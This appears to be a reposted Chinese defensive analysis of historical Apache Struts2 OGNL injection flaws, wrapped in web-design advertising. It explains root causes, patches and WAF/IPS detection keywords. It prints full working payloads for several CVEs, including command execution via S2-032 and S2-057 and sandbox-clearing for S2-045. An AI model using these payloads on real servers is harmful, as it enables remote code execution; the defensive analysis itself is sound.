這篇文章的內(nèi)容主要圍繞如何從防護角度看Struts2歷史漏洞進行講述,文章內(nèi)容清晰易懂,條理清晰,非常適合新手學(xué)習(xí),值得大家去閱讀。感興趣的朋友可以跟隨小編一起閱讀吧。希望大家通過這篇文章有所收獲!
10年積累的網(wǎng)站設(shè)計、網(wǎng)站制作經(jīng)驗,可以快速應(yīng)對客戶對網(wǎng)站的新想法和需求。提供各種問題對應(yīng)的解決方案。讓選擇我們的客戶得到更好、更有力的網(wǎng)絡(luò)服務(wù)。我雖然不認識你,你也不認識我。但先網(wǎng)站設(shè)計后付款的網(wǎng)站建設(shè)流程,更有鄢陵免費網(wǎng)站建設(shè)讓你可以放心的選擇與我們合作。
Struts2漏洞是一個經(jīng)典的漏洞系列,根源在于Struts2引入了OGNL表達式使得框架具有靈活的動態(tài)性。隨著整體框架的補丁完善,現(xiàn)在想挖掘新的Struts2漏洞會比以前困難很多,從實際了解的情況來看,大部分用戶早就修復(fù)了歷史的高危漏洞。目前在做滲透測試時,Struts2漏洞主要也是碰碰運氣,或者是打到內(nèi)網(wǎng)之后用來攻擊沒打補丁的系統(tǒng)會比較有效。
網(wǎng)上的分析文章主要從攻擊利用的角度來分析這些Struts2漏洞。作為新華三攻防團隊,我們的一部分工作是維護ips產(chǎn)品的規(guī)則庫,今天回顧一下這個系列的漏洞,給大家分享一些防護者的思路,如果有遺漏或者錯誤,歡迎各位大佬指正。
研究Struts2的歷史漏洞,一部分原因為了review以前的ips、waf的防護規(guī)則。開發(fā)規(guī)則的時候,我們認為有幾個原則:
1、站在攻擊者的角度思考;
2、理解漏洞或者攻擊工具的原理;
3、定義漏洞或者攻擊工具的檢測規(guī)則時,思考誤報、漏報的情況。
如果安全設(shè)備不會自動封ip,那么防護規(guī)則是有可能被慢慢試出來的。如果規(guī)則只考慮了公開的poc規(guī)則寫得太過嚴格,是可能被繞過的,所以有了這次review。先來看看Struts2的歷史漏洞的原理。
一般攻擊者在攻擊之前會判斷網(wǎng)站是Struts2編寫,主要看有沒有鏈接是.action或者.do結(jié)尾的,這是因為配置文件struts.xml指定了action的后綴
<constant name="struts.action.extension" value="action,," />
但是上述這個配置文件解析之后,不帶后綴的uri也會被解析稱為action的名字。如下:
如果配置文件中常數(shù)extension的值以逗號結(jié)尾或者有空值,指明了action可以不帶后綴,那么不帶后綴的uri也可能是struts2框架搭建的。
如果使用Struts2的rest插件,其默認的struts-plugin.xml指定的請求后綴為xhtml,xml和json
<constant name="struts.action.extension" value="xhtml,,xml,json" />
根據(jù)后綴不同,rest插件使用不同的處理流程,如下請求json格式的數(shù)據(jù),框架就使用了JsonLibHandler類對輸出進行處理。
xhtml和xml結(jié)尾的請求則使用HtmlHandler和XStreamHandler分別處理。所以在測試的時候,不能明確判斷網(wǎng)站使用的是否為struts2框架時,特別是碰到后兩種情況,都可以拿工具去試試運氣。
Struts2的動態(tài)性在于ongl表達式的可以獲取到運行變量的值,并且有機會執(zhí)行函數(shù)調(diào)用。如果可以把惡意的請求參數(shù)送到ognl的執(zhí)行流程中,就會導(dǎo)致任意代碼執(zhí)行漏洞。ognl表達式的執(zhí)行在Ognl相關(guān)的幾個類里面,配置好調(diào)試環(huán)境后,對OgnlUtil類的getvalue或compileAndExecute函數(shù)下斷點,就根據(jù)參數(shù)判斷poc調(diào)用的流程,分析執(zhí)行的原理了。
2.2.1 S2-045,S2-046
以S2-045為例,查看web工程目錄的payload是
content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
斷點攔截情況
根據(jù)堆棧查看信息
getValue:321, OgnlUtil (com.opensymphony.xwork2.ognl)getValue:363, OgnlValueStack (com.opensymphony.xwork2.ognl).......evaluate:49, OgnlTextParser (com.opensymphony.xwork2.util)translateVariables:171, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:130, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:52, TextParseUtil (com.opensymphony.xwork2.util)......buildErrorMessage:123, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)parse:105, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)<init>:84, MultiPartRequestWrapper (org.apache.struts2.dispatcher.multipart)wrapRequest:841, Dispatcher (org.apache.struts2.dispatcher)
根據(jù)堆棧可以定位到漏洞原因,查看到Dispatcher函數(shù),發(fā)現(xiàn)如果content-typ字段包含了multipart/form-data字符串,就會把請求封裝成MultiPartRequestWrapper,走到了JakartaMultiPartRequest類的流程中
if (content_type != null && content_type.contains("multipart/form-data")) {
MultiPartRequest mpr = getMultiPartRequest();
LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
} else {
request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
如果處理出錯,就會調(diào)用buildErrorMessage函數(shù)構(gòu)造報錯信息。
try {
multi.parse(request, saveDir);
for (String error : multi.getErrors()) {
addError(error);
}
} catch (IOException e) {
if (LOG.isWarnEnabled()) {
LOG.warn(e.getMessage(), e);
}
addError(buildErrorMessage(e, new Object[] {e.getMessage()}));
}
后續(xù)調(diào)用過程是buildErrorMessage --->LocalizedTextUtil.findText --->TextParseUtil. translateVariables ---->OgnlUtil.getValue ,補丁修改是buildErrorMessage不調(diào)用LocalizedTextUtil.findText函數(shù),這樣報錯后提交的輸入就到不了ognl模塊了。S2-046也是用到045的相同模塊,總體來看,045和046是17年上半年出現(xiàn)的漏洞,漏洞用到的是框架本身,限制條件少, 算是比較好用的Struts2漏洞了(雖然成功率也非常低)??梢钥吹浆F(xiàn)在網(wǎng)絡(luò)上大量的自動化掃描器或者蠕蟲,都自帶045和046,ips設(shè)備每天能收到大量此類日志。
2.2.2 S2-001
往前看,比較好用的漏洞中比較有代表性的有S2-001(S2-003,005,008年代比較久遠,后來出現(xiàn)了比較好用的新漏洞,所以這些漏洞用的人很少,對應(yīng)Struts2的版本也很低),001是Struts2框架最剛開始出現(xiàn)的第一個漏洞,跟045的執(zhí)行過程也比較接近,都是經(jīng)由TextParseUtil. translateVariables執(zhí)行OGNL表達式,TextParseUtil是文本處理的功能類。不同的是S2-001是在把jsp生成java類的時候,會對表單提交的參數(shù)調(diào)用evaluateParams從而調(diào)用文本處理類的OGNL求值功能。調(diào)用堆棧如下:
translateVariables:72, TextParseUtil (com.opensymphony.xwork2.util)findValue:303, Component (org.apache.struts2.components)evaluateParams:680, UIBean (org.apache.struts2.components)end:450, UIBean (org.apache.struts2.components)doEndTag:36, ComponentTagSupport (org.apache.struts2.views.jsp)_jspx_meth_s_005ftextfield_005f0:17, quiz_002dbasic_jsp (org.apache.jsp.validation)…………….Payload: %25%7B%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23response%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23response.println(%23req.getRealPath('%2F'))%2C%23response.flush()%2C%23response.close()%7D
提交就能觸發(fā)漏洞
2.2.3 S2-016
接著是S2-016,以及S2-032,S2-033,S2-037,這幾個漏洞比較接近,其中S2-016是比較好用的,由于年代太過久遠了,現(xiàn)在已經(jīng)幾乎不可能利用成功,但是這個漏洞由于太經(jīng)典,還是值得看看。
獲取路徑的Payload是:
redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D
直接在uri后面跟redirect標(biāo)簽
調(diào)用棧:
getValue:255, OgnlUtil (com.opensymphony.xwork2.ognl).......translateVariables:170, TextParseUtil (com.opensymphony.xwork2.util).......execute:161, ServletRedirectResult (org.apache.struts2.dispatcher)serviceAction:561, Dispatcher (org.apache.struts2.dispatcher)executeAction:77, ExecuteOperations (org.apache.struts2.dispatcher.ng)doFilter:93, StrutsExecuteFilter (org.apache.struts2.dispatcher.ng.filter)internalDoFilter:235, ApplicationFilterChain (org.apache.catalina.core)
代碼注釋意為, 在Struts2框架下如果mapping能直接獲得結(jié)果,就調(diào)用結(jié)果對象的execute函數(shù)。
Uri標(biāo)簽中的redirect,對應(yīng)的是ServletRedirectResult這個結(jié)果,構(gòu)造函數(shù)如下,是DefaultActionMapper構(gòu)造的時候順帶構(gòu)造好的,
public DefaultActionMapper() {
prefixTrie = new PrefixTrie() {
{
put(METHOD_PREFIX, new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
if (allowDynamicMethodCalls) {
mapping.setMethod(key.substring(
METHOD_PREFIX.length()));
}
}
});
put(ACTION_PREFIX, new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
String name = key.substring(ACTION_PREFIX.length());
if (allowDynamicMethodCalls) {
int bang = name.indexOf('!');
if (bang != -1) {
String method = name.substring(bang + 1);
mapping.setMethod(method);
name = name.substring(0, bang);
}
}
mapping.setName(name);
}
});
而這個ServletRedirectResult結(jié)果在解析Uri的時候,就會被設(shè)置到mapping對象中,調(diào)用棧如下:
execute:214, DefaultActionMapper$2$3 (org.apache.struts2.dispatcher.mapper)handleSpecialParameters:361, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)getMapping:317, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)findActionMapping:161, PrepareOperations (org.apache.struts2.dispatcher.ng)findActionMapping:147, PrepareOperations (org.apache.struts2.dispatcher.ng)doFilter:89, StrutsPrepareFilter (org.apache.struts2.dispatcher.ng.filter)
后續(xù)ServletRedirectResult的execute函數(shù)執(zhí)行后,經(jīng)由conditionalParse調(diào)用文本處理類TextParseUtil的translateVariables函數(shù)進入Ognl的流程,代碼得到執(zhí)行。
2.2.4 S2-032,S2-033,S2-037
S2-032是框架本身漏洞,不過利用有個前提條件,需要開啟動態(tài)方法執(zhí)行的配置
<constant name="struts.enable.DynamicMethodInvocation" value="true" />
S2-033和S2-037則是rest插件漏洞,一般來說插件漏洞利用還是比較困難的,因為開發(fā)網(wǎng)站的時候不一定會用到這個插件。S2-032的payload如下:
http://localhost:8080/s2032/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=ipconfig
跟S2-016一樣,也是uri中帶特殊標(biāo)簽,其漏洞點也在DefaultActionMapper類的構(gòu)造函數(shù), struts.mxl文件中配置了DynamicMethodInvocation后,構(gòu)造mapping的時候會滿足if語句,設(shè)置method屬性為冒號后的OGNL表達式
public DefaultActionMapper() {
prefixTrie = new PrefixTrie() {
{
put(METHOD_PREFIX, new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
if (allowDynamicMethodCalls) {
mapping.setMethod(key.substring(METHOD_PREFIX.length()));
}
}
});
在調(diào)用完Struts2默認的攔截器后,進入DefaultActionInvocation的調(diào)用函數(shù)invokeAction,后者直接調(diào)用Ognl表達式的執(zhí)行。
S2-032和S2-037也是通過這個步驟得到執(zhí)行的,不同的是這兩漏洞是基于rest插件的。rest插件使得struts2框架的請求具備restful風(fēng)格,參數(shù)直接放在uri里面提交,而非問號后面的字符串。如下為正常的請求:
漏洞利用payload為:
http://localhost:8080/s2033/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23parameters.content[0]),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=vulnerable
payload將正常的edit方法替換成了ognl代碼。rest插件使用的是RestActionMapper來解析uri,生成mapping,在其getMapping函數(shù)內(nèi),解析uri設(shè)置了method變量,
int lastSlashPos = fullName.lastIndexOf(47); String id = null; if (lastSlashPos > -1) { int prevSlashPos = fullName.lastIndexOf(47, lastSlashPos - 1); if (prevSlashPos > -1) { mapping.setMethod(fullName.substring(lastSlashPos + 1)); fullName = fullName.substring(0, lastSlashPos); lastSlashPos = prevSlashPos; }
而后跟032一樣,也是通過ognl表達式來調(diào)用這個方法的時候,執(zhí)行了惡意的命令
S2-037跟S2-032漏洞點一致,是對補丁的繞過,應(yīng)該是Struts2.3.28.1沒有修復(fù)好。
這兩個漏洞是16年的,也需要非常好的運氣才能利用,畢竟依賴rest插件且年代久遠。
2.2.5 S2-052
這個漏洞跟傳統(tǒng)的Struts2漏洞不同的是,并不是利用ognl表達式執(zhí)行的代碼,而是使用unmarshal漏洞執(zhí)行代碼。缺點就是也要用到rest插件,并且對jdk版本有要求,要大于等于1.8,使用JDK 1.7測試報錯如下
使用JDK 1.8測試能正常執(zhí)行命令。
由于使用的不是ongl表達式執(zhí)行的漏洞,防護思路也跟Struts2的常規(guī)防護有區(qū)別,后續(xù)可以跟weblogic系列漏洞合并分析。
2.2.6 S2-057
S2-057的代碼執(zhí)行有2個條件:
1、需要開啟alwaysSelectFullNamespace配置為true,一般提取請求中uri的時候,會對比配置文件中的namespace,匹配上了選取最長的一段作為此次請求的namespace。但是如果這個參數(shù)設(shè)置為true,就不做對比,直接提取action前面的所有字符串作為namespace。
protected void parseNameAndNamespace(String uri, ActionMapping mapping, ConfigurationManager configManager) {
int lastSlash = uri.lastIndexOf(47);
String namespace;
String name;
if (lastSlash == -1) {
namespace = "";
name = uri;
} else if (lastSlash == 0) {
namespace = "/";
name = uri.substring(lastSlash + 1);
} else if (this.alwaysSelectFullNamespace) {
namespace = uri.substring(0, lastSlash);
name = uri.substring(lastSlash + 1);} else {
例如payload使用
GET /s2057/${(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.setExcludedClasses('java.lang.Shutdown')).(#ou.setExcludedPackageNames('sun.reflect.')).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec('calc'))}/actionChain1
標(biāo)紅的整體ognl攻擊表達式會被提取成為namespace。
2、使用了服務(wù)器跳轉(zhuǎn)的結(jié)果,這里的要求是配置了actionChaining類型的action,在配置action結(jié)果的時候,使用redirectAction(ServletActionRedirectResult類),chain(ActionChainResult類),postback(PostbackResult類)作為結(jié)果類型。
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
<action name="actionChain2" class="org.apache.struts2.showcase.actionchaining.ActionChain2">
<result type="chain">xxx</result>
</action>
<action name="actionChain3" class="org.apache.struts2.showcase.actionchaining.ActionChain3">
<result type="postback">
<param name = "actionName">register2</param>
</result>
</action>
</package>
這樣在處理result結(jié)果的時候,會把namespace送到ognl引擎執(zhí)行。例如redirectAction(ServletActionRedirectResult類)的情況,分發(fā)器disptacher會根據(jù)action的結(jié)果,把流程傳給ServletActionRedirectResult的execute函數(shù),后者通過setLocation設(shè)置302跳轉(zhuǎn)的目的地址到自己的location變量(包含了ognl惡意代碼的namespace),
public void execute(ActionInvocation invocation) throws Exception {
this.actionName = this.conditionalParse(this.actionName, invocation);
if (this.namespace == null) {
this.namespace = invocation.getProxy().getNamespace();
} else {
this.namespace = this.conditionalParse(this.namespace, invocation);
}
if (this.method == null) {
this.method = "";
} else {
this.method = this.conditionalParse(this.method, invocation);
}
String tmpLocation = this.actionMapper.getUriFromActionMapping(new ActionMapping(this.actionName, this.namespace, this.method, (Map)null));
this.setLocation(tmpLocation);
super.execute(invocation);
}
然后調(diào)用父類ServletRedirectResult的execute函數(shù) ----> 調(diào)用父類StrutsResultSupport的execute函數(shù)
public void execute(ActionInvocation invocation) throws Exception {
this.lastFinalLocation = this.conditionalParse(this.location, invocation);
this.doExecute(this.lastFinalLocation, invocation);
}
protected String conditionalParse(String param, ActionInvocation invocation) {
return this.parse && param != null && invocation != null ? TextParseUtil.translateVariables(param, invocation.getStack(), new StrutsResultSupport.EncodingParsedValueEvaluator()) : param;
}
其中conditionalParse是條件調(diào)用TextParseUtil.translateVariables進行ognl的執(zhí)行流程,這個條件是滿足的,參數(shù)就是之前設(shè)置的location變量,因此代碼得到執(zhí)行。
Struts2的每一輪新的漏洞,既包含了新的Ognl代碼執(zhí)行的點,也包含Struts2的沙盒加強防護的繞過,而每一輪補丁除了修復(fù)Ognl的執(zhí)行點,也再次強化沙盒,補丁主要都是通過struts-default.xml限制了ognl使用到的類和包,以及修改各種bean函數(shù)的訪問控制符。最新版本Struts2.5.20的Struts-default.xml,限制java.lang.Class, java.lang.ClassLoader,java.lang.ProcessBuilder這幾個類訪問,導(dǎo)致漏洞利用時無法使用構(gòu)造函數(shù)、進程創(chuàng)建函數(shù)、類加載器等方式執(zhí)行代碼,限制com.opensymphony.xwork2.ognl這個包的訪問,導(dǎo)致漏洞利用時無法訪問和修改_member_access,context等變量。
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
com.opensymphony.xwork2.ActionContext" />
<!-- this must be valid regex, each '.' in package name must be escaped! -->
<!-- it's more flexible but slower than simple string comparison -->
<!-- constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" / -->
<!-- this is simpler version of the above used with string comparison -->
<constant name="struts.excludedPackageNames"
value="
ognl.,
javax.,
freemarker.core.,
freemarker.template.,
freemarker.ext.rhino.,
sun.reflect.,
javassist.,
org.objectweb.asm.,
com.opensymphony.xwork2.ognl.,
com.opensymphony.xwork2.security.,
com.opensymphony.xwork2.util." />
調(diào)試時,可以對SecurityMemberAccess的isAccessible函數(shù)下斷點觀察ognl的沙盒防護情況。
public boolean isAccessible(Map context, Object target, Member member, String propertyName) {
LOG.debug("Checking access for [target: {}, member: {}, property: {}]", target, member, propertyName);
if (this.checkEnumAccess(target, member)) {
LOG.trace("Allowing access to enum: {}", target);
return true;
} else {
Class targetClass = target.getClass();
Class memberClass = member.getDeclaringClass();
if (Modifier.isStatic(member.getModifiers()) && this.allowStaticMethodAccess) {
LOG.debug("Support for accessing static methods [target: {}, member: {}, property: {}] is deprecated!", target, member, propertyName);
if (!this.isClassExcluded(member.getDeclaringClass())) {
targetClass = member.getDeclaringClass();
}
}
一般的ips、waf規(guī)則,可以從兩個方向進行檢測,一個是檢測漏洞發(fā)生點,另外一個是檢測利用的攻擊代碼。Struts2有一些老的漏洞,很多是url中或者post表單中提交ognl代碼,從漏洞點來看并不是太好做檢測,所以一般的檢測規(guī)則還是檢查ognl代碼,配合漏洞發(fā)生點。結(jié)合payload來看,ognl代碼的構(gòu)成,技術(shù)性最強的ognl代碼是045和057的兩個payload,還是從045的payload來看
content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
OgnlContext的_memberAccess變量進行了訪問控制限制,決定了哪些類,哪些包,哪些方法可以被ognl表達式所使用。045之前的補丁禁止了_memberAccess的訪問:
#container=#context['com.opensymphony.xwork2.ActionContext.container'])
payload通過ActionContext對象得到Container:
#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class
然后用Container的getInstance方法獲取到ognlUtil實例:
#ognlUtil.getExcludedPackageNames().clear()#ognlUtil.getExcludedClasses().clear()
通過ognlUtil的公開方法清空禁止訪問的類和包,后面則是常規(guī)的輸出流獲取和函數(shù)調(diào)用。這個ognl的payload比較典型,可以檢測的點也比較多。
一般來說,ips或者waf的Struts2規(guī)則可以檢測沙盒繞過使用的對象和方法,如 _memberaccess,getExcludedPackageNames,getExcludedClasses,DEFAULT_MEMBER_ACCESS都是很好的檢測點,防護規(guī)則也可以檢測函數(shù)調(diào)用ServletActionContext@getResponse(獲取應(yīng)答對象),java.lang.ProcessBuilder(進程構(gòu)建,執(zhí)行命令),java.lang.Runtime(運行時類建,執(zhí)行命令),java.io.FileOutputStream(文件輸出流,寫shell),getParameter(獲取參數(shù)),org.apache.commons.io.IOUtils(IO函數(shù))。不太好的檢測點包括com.opensymphony.xwork2.ActionContext.container這種字典的key或者包的全名,畢竟字符串是可以拼接和變形的,這種規(guī)則很容易繞過。其他時候規(guī)則提取的字符串盡量短一些,避免變形繞過。
測試發(fā)現(xiàn)有的waf產(chǎn)品規(guī)則只檢測DEFAULT_MEMBER_ACCESS和_memberaccess這兩個字符串之一,看起來很粗暴,有誤報風(fēng)險,不過檢測效果還是不錯的, Ognl表達式由于其靈活性,存在一些變形逃逸的,但是S2-016之后的漏洞要繞過沙盒很難避開這兩個對象及相關(guān)函數(shù)調(diào)用。繞過可以參考ognl.jjt文件,這個文件定義了ognl表達式的詞法和語法結(jié)構(gòu),ognl的相關(guān)解析代碼也是基于這個文件生成的,所以一般的繞過也可以基于此文件展開。
感謝你的閱讀,相信你對“如何從防護角度看Struts2歷史漏洞”這一問題有一定的了解,快去動手實踐吧,如果想了解更多相關(guān)知識點,可以關(guān)注創(chuàng)新互聯(lián)網(wǎng)站!小編會繼續(xù)為大家?guī)砀玫奈恼拢?/p>
網(wǎng)頁題目:如何從防護角度看Struts2歷史漏洞
標(biāo)題鏈接:http://jinyejixie.com/article28/ggesjp.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供虛擬主機、網(wǎng)站策劃、網(wǎng)站排名、移動網(wǎng)站建設(shè)、關(guān)鍵詞優(yōu)化、云服務(wù)器
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)